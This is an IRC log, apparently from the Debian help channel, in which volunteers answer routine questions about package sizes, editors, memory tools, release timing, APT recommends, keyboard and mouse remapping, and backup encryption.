| 13:21.38 | themill | no reiser4 either |
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| 13:23.14 | CuSn | contrapunctus: fielsystems are configured to allocate a minimum chunk of disc space for each file. the size of the chunk is proportional to the size of the partition. And 8 KB chunk is pretty normal. When that first chunk is filled, another chunk is allocated to the file. So when a file is 8001 bytes long, it takes up 16 kb. |
| 13:23.41 | asdfasd | I have a networkinterface with 2 ports and the p0 gets defaulted at boottime. I'm trying to modify the portsetting through editing the hardware parameters in /sys/bus/ccwgroup device file. It works when I change it in a running system but when as soon as i reboot the system it default to p0, again. I've tried looking for parameters to pass through |
| 13:23.41 | asdfasd | sysctl.cfg but no parameter seems to be passable to the kernel in the remark that it affects the port variable on my network interface. Anyone can help me in the right direction? |
| 13:24.12 | contrapunctus | CuSn: wtf |
| 13:24.37 | CuSn | contrapunctus: can you be more specific? |
| 13:25.03 | contrapunctus | anywhoo - so there's a deviation of 8k. Doesn't sound like a big enough deal... |
| 13:25.27 | themill | contrapunctus: here, have a million 1 byte files. How much space does that take? |
| 13:25.45 | contrapunctus | themill: that's just what I was wondering - what package installs a million files? |
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| 13:26.48 | contrapunctus | themill: also - how is Installed-Size arrived at? |
| 13:26.50 | tw | kernel source might come close |
| 13:26.51 | unborn | contrapunctus: you would be more productive if you would tell end user - in human words what the hell you talking about.. most issues can be done with few lines..no mess with all lines of the source.. |
| 13:27.05 | themill | http://sources.debian.net/src/dpkg/1.18.18/scripts/dpkg-gencontrol.pl/#L334 |
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| 13:28.02 | contrapunctus | unborn: that happened a while ago ;) I've often wanted to know the installed size of packages. Using this at the moment - dpkg-query -W -f '${Package}\t${Installed-Size}\n' |
| 13:28.23 | tw | asdfasd: I don't actually know what you're trying to do, but have you tried driver parameters instead of kernel cmdline params? |
| 13:28.26 | contrapunctus | .o(p...p...perl...) |
| 13:29.53 | unborn | contrapunctus: sure...still.. its same issue.. sorry - user was asking for something and change in code is trivial.. why so much 'issues' - without noticing end user yeah that would be bad for this and that reason.. or perhaps for all users... - you can see what I mean. |
| 13:30.52 | asdfasd | tw: I'm trying to change the rules for my driver module in /etc/udev |
| 13:31.16 | unborn | ...and I would like to ask the same :) |
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| 13:33.13 | unborn | contrapunctus: so.. is there any resolution touched end user? |
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| 13:35.54 | ws2k3 | how can i change the default editor on jessie? |
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| 13:36.14 | contrapunctus | unborn: I don't understand anything you're saying :( |
| 13:36.37 | themill | ws2k3: default editor in what context? (gnome? terminal?) |
| 13:36.40 | unborn | contrapunctus: oh i am sorry about this.. are you the dev ? |
| 13:36.43 | themill | contrapunctus: that's fairly typical |
| 13:36.55 | ws2k3 | themill terminal. i accidentily chose vim and i desire nano |
| 13:37.04 | epsilon | ws2k3: in bash? export EDITOR='nano' in .bashrc |
| 13:37.21 | themill | ws2k3: update-alternatives --config editor |
| 13:37.23 | jelly | epsilon: that's not what "default" means! |
| 13:37.27 | contrapunctus | themill: markov chain bot? |
| 13:37.42 | ws2k3 | jelly exacly i already compared the .bashrc with another machine and they are the same |
| 13:37.53 | themill | contrapunctus: that or drunk |
| 13:37.57 | ws2k3 | themill when i run that it shows that its already using nano |
| 13:38.11 | themill | ws2k3: so in what context is it using vim? |
| 13:38.16 | jelly | ws2k3: update-alternatives --config config, maybe |
| 13:38.21 | jelly | ws2k3: update-alternatives --config editor, maybe |
| 13:38.33 | contrapunctus | themill: so (as far as I can gather from the source comments) Installed-Size is already (roughly?) calculated from the files? |
| 13:38.38 | ws2k3 | themill crontab -e should open nanno instead of vim |
| 13:39.16 | unborn | ...he is possibly not.. |
| 13:39.36 | themill | contrapunctus: yes. And as long as there aren't lots of small files, it will probably be ok |
| 13:39.42 | contrapunctus | cool! :) |
| 13:39.51 | contrapunctus | thanks for the help, everyone. |
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| 13:39.59 | themill | of course, that field can also be missing entirely |
| 13:41.00 | themill | ws2k3: what does "echo $EDITOR" output? "echo $VISUAL"? When you say you "chose vim" what did you do? |
| 13:41.02 | unborn | contrapunctus: - you did not answers my last question... |
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| 13:41.21 | themill | unborn: you're making even less sense than normal, please stop |
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| 13:42.11 | unborn | themill: well.. I do not see this... as normal user of debian non free.. - issue is still here... please explain |
| 13:42.36 | ws2k3 | themill both are emty |
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| 13:42.58 | themill | unborn: you are the only person in this channel having that discussion. |
| 13:43.22 | ws2k3 | themill when you boot the first time into debian and run crontab -e then it asks you to chose a default editor |
| 13:44.00 | themill | it does? |
| 13:44.12 | ws2k3 | themill yes it does |
| 13:44.13 | unborn | themill and? I am perhaps the one who dont understand and asking for explanation - the very best gnu policy adopted of debian.. |
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| 13:44.27 | n4dir | i thought something like update-alternatives would set the default editor |
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| 13:45.25 | contrapunctus | unborn: I'm not 'the dev' (of what?) |
| 13:45.49 | contrapunctus | oh, +q. |
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| 13:48.27 | themill | ws2k3: so what does "readlink -f /usr/bin/editor" say? |
| 13:48.58 | ws2k3 | themill /bin/nano |
| 13:49.53 | themill | ws2k3: is it just crontab -e or is there more to it? is sudo involved? |
| 13:50.14 | ws2k3 | the mibo sudo not involved yes its just crontab -e |
| 13:50.26 | ws2k3 | themill i think it has something to do with sensible-editor |
| 13:50.39 | ws2k3 | themill /usr/bin/sensible-editor |
| 13:51.01 | themill | do you have a ~/.selected_editor ? |
| 13:51.08 | ws2k3 | themill yeah found it ^^ |
| 13:51.12 | ws2k3 | themill there is the problem |
| 13:51.14 | themill | :) |
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| 13:55.17 | andre144k | hi all - is it possible to change umask for a special directory automaticly? |
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| 13:55.57 | andre144k | mayby to create all files with 600 instead of 664? |
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| 13:57.48 | tw | you can do it with acls, but I don't know that it is possible with umask |
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| 13:58.09 | andre144k | oki - i alreadythought so... |
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| 14:00.52 | graps | Hi all |
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| 14:01.29 | tw | andre144k: If I remember correctly, it'd be something like setfacl -d -m u::rwX,g::rwX,o::rX directory |
| 14:02.08 | contrapunctus | Okay - I'm now using 'dpkg-query -W -f '${Package;-30}\t${Installed-Size}\n' | sort -n -k 2' - how can I make the Installed-Size be presented in a human-readable format? |
| 14:02.12 | tw | and that will cascade into subdirectories. |
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| 14:02.46 | graps | How do I check the programs that use RAM besides using free ? |
| 14:03.00 | contrapunctus | graps: top, htop |
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| 14:03.13 | graps | contrapunctus: Thanks ! |
| 14:03.14 | tw | or ps, but the syntax is less easy. |
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| 14:04.23 | graps | tw: Thanks |
| 14:05.18 | contrapunctus | (like df -h or du -h) |
| 14:05.51 | graps | contrapunctus: Right |
| 14:05.51 | themill | contrapunctus: you could probably make an awk monstronsity for that... |
| 14:06.31 | zykotick9 | contrapunctus: fyi, if you're interested in the size of installed packages you might be intereted in the 'dpigs' program in the debian-goodies package |
| 14:07.22 | jelly | !sort by size |
| 14:07.22 | dpkg | sort by size is, like, aptitude search ~i -O installsize -F"%p %I", or see <sort by size sarge>, or see <dpigs> |
| 14:07.34 | graps | contrapunctus or tw: Can I manipulate RAM usage for running programs using ps ? I want to allocate different RAM usage, is that possible ? |
| 14:07.46 | jelly | graps: no |
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| 14:08.11 | graps | jelly: The kernel manages apps/programs RAM usage ? |
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| 14:08.23 | jelly | ps only displays info. |
| 14:08.38 | jelly | processes themselves ask for memory |
| 14:09.21 | graps | jelly: How about nice or renice ? Can they allocate RAM ? |
| 14:09.36 | jelly | again, only processes themselves do it. |
| 14:09.45 | n4dir | ps_mem.py is a nice way to get info about Ram usage |
| 14:11.55 | jelly | graps: you can however attach a debugger and then massage the internals of a process |
| 14:12.13 | petn-randall | graps: Tell us about your big picture goal. What do you want to achieve? |
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| 14:12.47 | jelly | but even if you make a process do some more sbrk() it's still done inside that process |
| 14:13.35 | jelly | ,i smem |
| 14:13.36 | judd | Package smem (utils, extra) in jessie/amd64: memory reporting tool. Version: 1.4-2; Size: 10.1k; Installed: 61k; Homepage: http://www.selenic.com/smem/; Screenshot: https://screenshots.debian.net/package/smem |
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| 14:13.50 | jelly | graps: ^^ may find that one interesting as well |
| 14:14.58 | graps | petn-randall: I'd like to work with existing RAM and find out what's using up RAM at any given time. For instance, if I have 512MB and 490MB is being used, how do I read the top to find them ? |
| 14:15.30 | petn-randall | graps: Use htop, and sort by RAM. |
| 14:15.33 | petn-randall | also: |
| 14:15.36 | petn-randall | !linux ate my ram |
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| 14:15.48 | n4dir | graps: ps_mem.py does that pretty well |
| 14:16.20 | graps | n4dir: I downloaded it from codewiz. Is it Debian-ready ? |
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| 14:16.26 | zykotick9 | !atemyram |
| 14:16.27 | dpkg | "Linux ate my ram!" No, it didn't. Read this: http://www.linuxatemyram.com/ |
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| 14:16.41 | zykotick9 | graps: ^ |
| 14:16.50 | n4dir | graps: works for me. |
| 14:16.52 | graps | zykotick9: Thanks |
| 14:17.07 | n4dir | output looks like this: http://sprunge.us/CUVM |
| 14:17.22 | petn-randall | zykotick9: Ah, was looking through the factoid DB for that. That's the one, thanks. |
| 14:17.28 | zykotick9 | graps: it's petn-randall who should get thanked ;) (even if they forgot the factoid) |
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| 14:17.37 | zykotick9 | petn-randall: ;) |
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| 14:17.48 | petn-randall | ;) |
| 14:18.14 | graps | petn-randall: Thanks ! |
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| 14:19.48 | graps | jelly: Thanks for the reference to judd's smem inference |
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| 14:21.14 | ambient | Hello, when I try to update Tor Browser I get 'Signature verification failed! You might be under attack, or there might just be a networking problem.' I reinstalled the gpg key and followed the install process on the Tor page, the same miserbale results. I had tor browser for months but it refuses to update now... |
| 14:21.33 | ambient | So that is Tor browser, not Tor |
| 14:22.04 | contrapunctus | thanks zykotick9 and jelly |
| 14:22.07 | n4dir | gotta: linux have got way better in the recent years to make it look as if it would eat RAM. Wondering how anything could get done in the bast. |
| 14:22.11 | contrapunctus | that seems geared towards my aim |
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| 14:22.22 | contrapunctus | oh lol. 'pigs' |
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| 14:22.42 | petn-randall | ambient: I'd ask in the project's channel, they probably know the problem if it's anything else than an attack. |
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| 14:24.44 | ambient | No one else uses Tor browser here I guess... |
| 14:25.07 | petn-randall | ambient: I'm pretty sure everyone in the tor channel does, though. |
| 14:25.23 | Errick72 | I'm trying to install debian 8 64amd and I am getting this error. "Ata7.00: status: {drdy}" it hangs there and won't finish boot won't get to the installer |
| 14:25.37 | ambient | petn-randall, Have you been there? |
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| 14:29.16 | petn-randall | !tor |
| 14:29.16 | dpkg | The Onion Router (Tor) is a low-latency anonymous communication system. Packaged for Debian, only enables the onion proxy by default. For use on OFTC, ask me about <oftc tor>. Tor is not allowed on freenode's #debian (http://freenode.net/policy.shtml#tor), ask me about <tor-sasl>. https://torproject.org/ #tor on irc.oftc.net. |
| 14:29.25 | petn-randall | ambient: Not yet, why do you ask? |
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| 14:30.24 | zykotick9 | ambient: fyi, i just updated TB from 6.0.8 -> 6.5 without issues <- still not a #d issue |
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| 14:41.12 | jhutchins_wk | Installing on VBox on a flash drive. Man, that's fast. |
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| 14:45.17 | contrapunctus | themill: dpigs is the bees knees :D |
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| 14:55.16 | themill | contrapunctus: :) |
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| 14:57.29 | Jack_ | hi.. |
| 14:58.28 | GPenguin | hello |
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| 14:59.06 | Jack_ | when will be Debian Stretch released? |
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| 14:59.16 | GPenguin | maybe mid of the year |
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| 14:59.40 | somiaj | !stretch pool 1 |
| 14:59.40 | dpkg | ! cruncher=2017-04-12 cruncher=2017-02-18 bæbÄ«len=2017-05-06 TomTomTosch=2017-08-08 greycat=2017-08-15 jellÿ=2017-03-17 themÃll=2017-05-01 |
| 15:00.17 | somiaj | Jack_: Feb 5th is the final freeze, after that 6 months give or take a few months. The debian team was more agressive with removing packages, getting rc bugs fixed for jessie, I assume they are going to do the same for stretch. |
| 15:00.22 | GPenguin | why is cruncher 2x in the list? |
| 15:00.30 | Jack_ | ok. Is Stretch going to be a stable release? |
| 15:00.41 | GPenguin | yes |
| 15:00.43 | petn-randall | GPenguin: They paid twice into the pool, I guess ;) |
| 15:00.49 | Jack_ | ok |
| 15:00.54 | GPenguin | petn-randall: haha |
| 15:00.59 | somiaj | Jack_: you can also follow https://bugs.debian.org/release-critical/ |
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| 15:01.10 | Jack_ | ok. |
| 15:01.29 | somiaj | cruncher updated his bet the a week or two ago, since his original one was before they pushed the freeze dates to get the lts kernel in stretch. |
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| 15:02.29 | GPenguin | i remember that, the 4.9.x kernel |
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| 15:03.32 | somiaj | they updated before the 4.9 kernel was annouced to be the lts, but it ended up working well, the 4.9 kernel transition into stretch, so now it is mostly just waiting for the rc bugs to be dealt with along with double checking cerain release goals |
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| 15:04.14 | GPenguin | somiaj: ah, thats interesting, thank you |
| 15:04.18 | Aimmy | Hi. Is there any program in synaptic that can open .rar file? |
| 15:04.44 | GPenguin | Aimmy: unrar can do it |
| 15:04.46 | Jack_ | Why doesn't Debian try to present itself as a distro that works out of the box and is beginner friendly? |
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| 15:05.12 | Jack_ | I mean, Debian being stable is more suitable for beginners. |
| 15:05.13 | somiaj | there is also an unrar-unfree that I think can deal with a wider varitey of .rar files |
| 15:05.24 | Aimmy | GPenguin: Sweet. Thanks. |
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| 15:05.39 | GPenguin | :) |
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| 15:06.00 | jelly | Jack_: debian's goals make it not work out of the box on a lot of modern hardware |
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| 15:06.20 | somiaj | Jack_: that is part of what it does present itself as, releasing frozen stable systems that are well tested. Though there are a few hurdels beginners have to deal with. One is newer hardware may not be supported with the stable kernel, and non-free firmawre is something many have to deal with they don't have to deal with elsewhere due to the DSFG |
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| 15:06.51 | Jack_ | ok. |
| 15:07.03 | jelly | also, someone has to do the work |
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| 15:08.49 | GPenguin | on the one side is popularity in a small user segment where other distros pickup people already. on the other side is debian as universal operating system which it definetly is |
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| 15:09.36 | Jack_ | ok |
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| 15:14.27 | jhutchins_wk | I think it's more important for Debian to be powerful and flexible than least-common-denominator friendly. |
| 15:15.07 | Jack_ | ok |
| 15:15.09 | n4dir | d |
| 15:16.15 | Jack_ | is ubuntu based on debian testing or unstable? |
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| 15:16.54 | tomcres | Jack_: they take the packages from sid (!) |
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| 15:17.22 | somiaj | Jack_: ubuntu isn't based on debian anymore, ubuntu has its own core which it does its own thing with (very different from debian) that happens to use packages from sid for its universe |
| 15:17.36 | somiaj | so ubuntu makes sid packages available but core is its own thing that is quite different than debian. |
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| 15:18.25 | Jack_ | ok. |
| 15:18.47 | sine0 | what can I use to search all text files for a word |
| 15:18.55 | tomcres | sine0: grep |
| 15:19.04 | tomcres | grep expression file |
| 15:19.16 | sine0 | could you please show me the syntax |
| 15:19.24 | somiaj | tomcres: just did |
| 15:19.36 | tomcres | yeah, if you want to search all text files for "foo", you type grep foo *.txt |
| 15:19.47 | Jack_ | can I install Debian unofficial release completely offline? |
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| 15:20.12 | Jack_ | or do I need to be connected to the internet during installation? |
| 15:20.19 | somiaj | Jack_: I don't think full cd's of packages for the installer are made until after the release. |
| 15:20.22 | petn-randall | Jack_: What is the unofficial release_ |
| 15:20.23 | petn-randall | ? |
| 15:20.51 | jelly | Jack_: if you're talking about firmware images, same thing as official images. You can install the base system completely offline. |
| 15:20.52 | zykotick9 | sine0: <sidenote> there is a -r and -R option in rsync, you might want to check out "man rsync" for details |
| 15:20.53 | somiaj | I took it to mean the develoment versions, testing or unstable. |
| 15:20.55 | sine0 | im trying to get it to do it recursivly from the directory I am at |
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| 15:21.19 | n4dir | recursivly often is -r |
| 15:21.20 | somiaj | sine0: man grep, it will tell you lots of useful info like the -r flag is recursive |
| 15:22.07 | Jack_ | jelly, exactly. I was referring to that. |
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| 15:22.29 | Jack_ | firmware images |
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| 15:22.56 | somiaj | I thought only the netinstall had firmware images made, so you can install offline with it, but you won't have to many packages |
| 15:23.04 | somiaj | though there are live images with firmware |
| 15:23.07 | ksk | HEy guys, I have a somewhat exotic question; If two useradd commands to run at the same time - will that brake things? I would suspect that to be the case. |
| 15:23.09 | Jack_ | http://cdimage.debian.org/cdimage/unofficial/non-free/cd-including-firmware/ |
| 15:23.33 | the_sniff | using backuppc i always get this error "Parent read EOF from child: fatal error!" (not for the same file), can't figure out what it is after a long time googling. Should I just try a different backup software? Tried rsnapshot, had some weird bug with no way to fix it too |
| 15:23.35 | n4dir | i got a question too, ksk why would one want to do that at all? |
| 15:24.05 | ksk | n4dir: you probably dont want to, but what if you had two admins that add a user at the same time? (or some automatism) |
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| 15:28.17 | petn-randall | ksk: There is probably no locking in place, correct. If in doubt, automate it and see if you can break useradd by running at the same time. |
| 15:28.56 | Jack_ | how is Debian different from Arch and Fedora? |
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| 15:29.46 | abrotman | Jack_: in many ways .. What specifically are you asking about? |
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| 15:30.44 | Jack_ | ease of use, security, number of packages available etc. |
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| 15:32.04 | teraflops | ksk: at the very same time? use parallel or something like that and see if it fails |
| 15:32.43 | petn-randall | Jack_: Debian has a huge (> 40,000) armount of packages, and supports upgrading from one release to the next. It has a rather strict "only security bugfixes" policy on the stable release. |
| 15:32.58 | petn-randall | Jack_: Other distros probably shine due to ease of use, or commercial support, etc. |
| 15:33.07 | Jack_ | ok |
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| 15:34.15 | ksk | petn-randall: teraflops thanks |
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| 15:34.25 | somiaj | Jack_: community is something that shoudln't get overlooked too, .rpm has a big community both on the fedora side and on the enterprise size with RHEL and CENTOS, the community and what sort of work they do to better their distro of choice is a large factor too (outside of policy) |
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| 15:34.44 | somiaj | Jack_: what makes debian differnt than lots of its derivatives is its policy and quality control. |
| 15:34.56 | somiaj | (not that other's don't have policy or quality control, it is just different than debians) |
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| 15:34.58 | petn-randall | Jack_: Debian also puts a lot of emphasis on keeping free software separate from non-free software, which is why some wifi devices don't work with the default installer. Ubuntu for example doesn't care that much, but that also allows end users to install with less problems. |
| 15:35.16 | Jack_ | ok |
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| 15:57.58 | john876 | hi all ... i need a bit of help with update-rc.d and insserv |
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| 15:58.32 | somiaj | john876: on jessie? Are you using sysvrc or systemd? |
| 15:58.50 | john876 | i wrote a simple script that is suppose to run during boot and kill during halt |
| 15:58.52 | somiaj | john876: update-rc.d still works, but with systemd systemctl gives you more control. inserv may not work with all systemd services (unsure) |
| 15:59.10 | somiaj | john876: if using systemd, you should write a unit file for your script. |
| 15:59.15 | john876 | ..but i dont want to stop it during reboot |
| 15:59.53 | john876 | this is raspbian. i tried the raspbian channel yesterday but did not get a pip |
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| 16:00.53 | somiaj | you do know that raspbian is not debian and not supported here and you are still asking? |
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| 16:01.23 | somiaj | anyways, unsure what init system raspbian went with. the 'not stop at reboot' seems like a strange condition because a reboot is still a halt, and the system completely shuts down. |
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| 16:07.10 | jhutchins_wk | somiaj: If the system shut down completely, how would it be able to boot? |
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| 16:08.29 | somiaj | jhutchins_wk: I assumed that was done by the bios, so the actual shutdown call to the hardware is different at the end, but all actual services that are running would be shutdown normally (As opposed to just beign killed) |
| 16:09.01 | somiaj | so I guess it just seems weird to me to not want to shut down a service properly if rebooting. |
| 16:09.28 | john876 | how does it differentiate with runlevel 0 and runlevel 6? |
| 16:09.47 | john876 | oops moving to #raspbian |
| 16:10.19 | somiaj | john876: if using systemd, runlevels aren't used, maybe systemd has a flag to do something different on a reboot call vs a shutdown call. |
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| 16:11.34 | somiaj | oh my system the only difference between the links in those runlevels is the last call, either a halt or shutdown call. |
| 16:11.35 | john876 | oh that explains a lot. thanks somaij |
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| 16:12.27 | somiaj | I guess you could have more differences, but besides for the actual hardware call or maybe what you log, I don't see why you wouldn't want to properly kill all services during a reboot. |
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| 16:13.13 | somiaj | http://unix.stackexchange.com/questions/284598/systemd-how-to-execute-script-at-shutdown-only-not-at-reboot |
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| 16:14.33 | john876 | i am ok for killing it during reboot, i dont understand when i have it killed in rc0.d and not in rc6.d. so i kept asking why??? your systemd comment explains that |
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| 16:17.14 | hmuller | is there a document that describes the rationale for the packages that go into a debootstrap base and minbase variants? |
| 16:17.47 | jasonmax_ | Is debian good for KVM? |
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| 16:26.38 | Night_Elf | Hi all. I want to have a look at Docker, and am reading here: https://docs.docker.com/engine/installation/linux/debian/ But while it mentions some debian packages linux-image-extra-* I actually can't seem to find these. |
| 16:26.49 | Night_Elf | Do these packages exist? |
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| 16:29.24 | TomTomTo1 | ,i linux-image-extra-virtual |
| 16:29.25 | judd | No package named 'linux-image-extra-virtual' was found in jessie/amd64. |
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| 16:29.37 | TomTomTo1 | ,i linux-image-extra-3.16.0-4-amd64 |
| 16:29.38 | judd | No package named 'linux-image-extra-3.16.0-4-amd64' was found in jessie/amd64. |
| 16:30.19 | TomTomTo1 | no such thing. looks like it actually applies to some versions of ubuntu instead. ^^ |
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| 16:34.14 | jelly | Night_Elf: whoever wrote that does not know enough about debian |
| 16:34.24 | Night_Elf | TomTomTo1: I see. Sounds reasonable. |
| 16:34.28 | msev- | does anyone here have an orange pi zero :D |
| 16:34.29 | Night_Elf | jelly: dito. |
| 16:35.24 | redrabbit | msev-: lol |
| 16:41.58 | otyugh_II | hey |
| 16:42.17 | otyugh_II | I've got some key of a laptop (combined with "fn") which does no output into xev |
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| 16:42.27 | otyugh_II | any idea how I could bind them to something again ? |
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| 16:42.54 | somiaj | depends, it could be they keycode it generates is being intercepted by your WM and not making it to xev so you won't see it |
| 16:43.22 | somiaj | it could be that combination never generates a keycode, I've seen some models have fn+button that trigger firmware actions but don't send keycodes to the os |
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| 16:45.40 | otyugh_II | somiaj, han |
| 16:45.46 | otyugh_II | How can I check that ? |
| 16:46.12 | somiaj | to check that it isn't your de/wm getting in the way, you can run xev in an xsession with no wm/de running (only say xterm) |
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| 16:46.46 | somiaj | or you can check the keybindings in your wm/de and see what keycodes it is looking for an intercepting. I would expcect the key code of the volume up button to be the same on most laptops for instance. |
| 16:46.54 | somiaj | well the symbolic name that xev will give you |
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| 16:47.37 | hmuller | msev-: nope, a rpi3 |
| 16:48.44 | otyugh_II | somiaj, testing that |
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| 16:54.02 | otyugh_II | xD |
| 16:54.24 | otyugh_II | somiaj, I cant' get how to focus xev without window manager ! |
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| 16:55.39 | somiaj | otyugh_II: just move your mouse over it |
| 16:55.52 | somiaj | I think that works in default xorg, I know i've done this test, but its been a while |
| 16:56.35 | otyugh_II | you are right |
| 16:56.58 | otyugh_II | nah |
| 16:57.00 | otyugh_II | no output |
| 16:57.12 | otyugh_II | it's the "up sound", "down sound" level |
| 16:57.20 | otyugh_II | weird |
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| 16:57.43 | otyugh_II | the "mute" button is recognized |
| 16:57.44 | somiaj | yea most likley your DE is already configured to do something with those keys |
| 16:57.50 | somiaj | and intercepting the events |
| 16:57.54 | otyugh_II | nah |
| 16:57.59 | otyugh_II | there is no DE here |
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| 16:58.10 | otyugh_II | I'm in a xterm only session |
| 16:58.19 | somiaj | oh even then they aren't producing keycodes? |
| 16:58.22 | otyugh_II | nah |
| 16:58.35 | otyugh_II | but there is something I just saw |
| 16:58.42 | otyugh_II | some key don't display what they should |
| 16:58.44 | somiaj | you don't have something else running in the seeions like a key binding app (just double checking) |
| 16:58.50 | otyugh_II | a bad layout maybe be causing this ? |
| 16:58.55 | somiaj | maybe |
| 16:59.10 | otyugh_II | somiaj, yep I'll try killing the old session |
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| 17:00.03 | otyugh_II | same :( |
| 17:00.42 | somiaj | unsure, I have only basic experience as I don't really use that much hardware, and what I have used the few keys I needed worked as expected... |
| 17:00.42 | otyugh_II | weird |
| 17:00.53 | otyugh_II | only happens on two keys on the keyboard |
| 17:01.00 | somiaj | what ones? |
| 17:01.06 | otyugh_II | up and down sound |
| 17:01.16 | otyugh_II | but without "fn" the key just works |
| 17:01.19 | tomcres | otyugh_II: does the volume change at all when you press them? |
| 17:01.23 | otyugh_II | nah |
| 17:01.41 | somiaj | strange, though again some times the firmware does its own thing with those bindings. Though I would suppect those two be sent to the os. |
| 17:01.58 | otyugh_II | the mute button just one key, just along, triggers X86Mute, which is super standard |
| 17:01.58 | tomcres | otyugh_II: weird. maybe it's an event handled by the sound hardware and not the keyboard controller. |
| 17:02.00 | somiaj | maybe it only adjusts headphone volume? Have you poked around your firmware for settings... |
| 17:02.25 | otyugh_II | didn't checked that |
| 17:02.33 | otyugh_II | quite twisted if this is that :O |
| 17:02.52 | somiaj | you have pulse running |
| 17:02.57 | otyugh_II | maybe I'll just put a sticker on another keys and just bind the damn stuff |
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| 17:02.59 | otyugh_II | yes |
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| 17:03.05 | somiaj | could pulse be looking for these, though you would think it would look for mute too |
| 17:03.22 | otyugh_II | it does work for mute only |
| 17:03.23 | somiaj | anyways, just wild guesses, on my systems I have not seen an issue not seeing the volume up/down keycodes in xev |
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| 17:03.41 | somiaj | but I don't use pulse or antying I could think of that would be trying to get in the way looking for those events. |
| 17:03.58 | otyugh_II | awshit. Why me x) |
| 17:04.19 | somiaj | you didn't know it, but you bought a puzzle wrapped in a laptop case |
| 17:04.32 | otyugh_II | :D |
| 17:05.08 | otyugh_II | I may have not found the solution, but I got the moral now ~ |
| 17:05.10 | somiaj | maybe it is some feature of plug-n-play os that some bios have a setting to turn on/off |
| 17:05.24 | otyugh_II | he. Great point |
| 17:05.49 | somiaj | though again I woudl assume if that was the case, mute would have been used too |
| 17:05.54 | somiaj | anyways best of luck |
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| 17:16.48 | Gabs5807 | Hello, when i install cifs-utils apt also install samba and winbind. After installation i can remove samba and winbind without cifs-utils is beening removed. How can i permit the installation of samba and winbind? It seems there are no dependencies from cifs-utils to samba and winbind. There is only 'Suggests: smbclient' and 'Recommends: winbind' .. |
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| 17:19.08 | zykotick9 | Gabs5807: perhaps others undrestand, but i don't personally follow your question? |
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| 17:22.52 | Gabs5807 | zykotick9: Sorry if i'm not clear. When i install cif-utils with 'apt-get install cifs-utils', samba and winbind are also installed automatically. But samba and winbind a not at the Depends list of cifs-utils. |
| 17:23.14 | Gabs5807 | They are only 'Suggests: smbclient' and 'Recommends: winbind'. |
| 17:23.28 | zykotick9 | Gabs5807: suggests and recommends are similar to depends... but can be disabled if you don't want them... |
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| 17:24.16 | Gabs5807 | zykotick9: how can i do it? |
| 17:24.43 | Gabs5807 | Is there an option for apt? |
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| 17:25.29 | zykotick9 | Gabs5807: try "--no-install-recommends" |
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| 17:25.33 | dwarfmut | guys... thinkpad x220i its a good laptop? |
| 17:25.35 | Gabs5807 | And the second question is, how can i set this option at preseed? |
| 17:26.42 | zykotick9 | Gabs5807: re: preseed <- i personally have NO idea... not something i've ever played with. best of luck. |
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| 17:28.37 | zykotick9 | dwarfmut: yellow its a good colour? <- both our questions are subject to opinion, and thus not great questions |
| 17:29.10 | Gabs5807 | zykotick9: Many thanks apt option was a goot hint :-). I search for the preseed elsewhere. Otherwise i try to configure APT::Install-Recommends apt apt.conf at installation .. |
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| 17:30.28 | zykotick9 | Gabs5807: be VERY careful using the APT::Iinstall-Recommends in apt.conf! is this a server build? most packages "expect" recommends to be installed. NOTE: i'm an idiot and run without recommnends and suggests, but i keep a very minimal system (most people wouldn't like it) |
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| 17:32.40 | hmuller | anyone familiar with a document that describes the rationale for package inclusion for minbase and base using debootstrap? |
| 17:33.17 | Gabs5807 | zykotick9: no. no server. it's for client installation (which dynamic IPs). The should not have server services like samba installed. But vor mounting smb file systems they need mount.cifs .. |
| 17:33.21 | somiaj | by design recommended packages should be installed, but opinions differ on if a package should be recommended or suggetsed in various cases, I would look at them as a case per case basis if needed. |
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| 17:35.26 | zykotick9 | Gabs5807: i wouldn't recommend disabling recommends if this is for clients! ymmv |
| 17:35.44 | zykotick9 | ^ system wide i mean |
| 17:35.45 | dwarfmut | x201i its a good laptop? |
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| 17:36.30 | somiaj | Gabs5807: what recommends are you running into, I don't see smbclient or cifs-utils recommending the samba server |
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| 17:39.06 | somiaj | ahh I see, in jessie winbind is a recommended package which depends on samba, but in stretch it is suggested |
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| 17:43.03 | Gabs5807 | somiaj: apt-cache depends cifs-utils shows 'Recommends: winbind'. And apt-cache depends winbind shows 'Depends: samba' .. |
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| 17:45.49 | Gabs5807 | somiaj: For me this make no sense. mount.cifs is for clients and samba for server. But may be other people have an other view on this ;-). |
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| 17:46.59 | zykotick9 | Gabs5807: somiaj explained in the line above your two last posts, that this is the case in jessie but not stretch... so it appears someone else agrees with you ;) |
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| 18:49.28 | configuringmouse | Hello. I'm trying to remap my mouse thumb button. I've tried xte, xbindkeys, imwheel, and a few more. They all bind the mouse thumb to a key correctly, but there is an issue: when I am holding another mouse button (ie left click) and then I press the thumb button, then the thumb button will do nothing. |
| 18:49.41 | configuringmouse | I tested it with xev, having thumb_1 remapped to SPACE key, and while pressing thumb in fact printed space, pressing thumb while holding left click printed button 8 (default mouse thumb button), so S O M E H O W the sole act of holding a mouse button DENIES EVERY REMAP TOOL AVAILABLE FOR LINUX. |
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| 18:50.01 | configuringmouse | I've googled for hours and there are some people who had my same issue, but no one provided an answer!!!!! i'm going crazy. I've been 4 hours on this. I just want my mouse thumb to behave as a keyboard key, why is it so complicated? |
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| 19:17.38 | nikitasius | hi folks! i would like to ecrypt some data (backups) what will be uploaded on remote server. I'll use ecryptfs. Should i use aes256 or i can keep aes128 in question of speed? |
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| 19:18.23 | shewp | i'd go for 256 |
| 19:18.28 | jolt | if your not starved on cpu I would use 256 simply because longer takes harder to crack. And backups will probably be around long |
| 19:18.54 | tomcres | nikitasius: if you have a reasonably fast processor, stick with AES-256. You won't notice much of a difference in speed. |
| 19:19.20 | nikitasius | tomcres: here are `openssl speed aes` https://gist.github.com/nikitasius/c571acf0fb01a573c3c86c828b643e9c |
| 19:20.19 | nikitasius | 30% less speed |
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| 19:21.05 | tomcres | nikitasius: well, it's your callâwhether you need the extra speed or the extra security, which is a greater priority |
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| 19:22.08 | nikitasius | jolt: tomcres: idk it there are much more security. AES little old.. now people use ECC (ecliptic). |
| 19:22.24 | nikitasius | 2^128 vs 2^256 but 2^128 still a lot |
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| 19:23.35 | configuringMOUSE | Hello. I'm trying to remap my mouse thumb button. I've tried xte, xbindkeys, imwheel, and a few more. They all bind the mouse thumb to a key correctly, but there is an issue: when I am holding another mouse button (ie left click) and then I press the thumb button, then the thumb button will do nothing. |
| 19:23.40 | ryouma | how does that compare to gpg's default (the symmetric part that takes over after the key is created by asymmetric) |
| 19:23.44 | ryouma | ? |
| 19:24.12 | configuringMOUSE | <PROTECTED> |
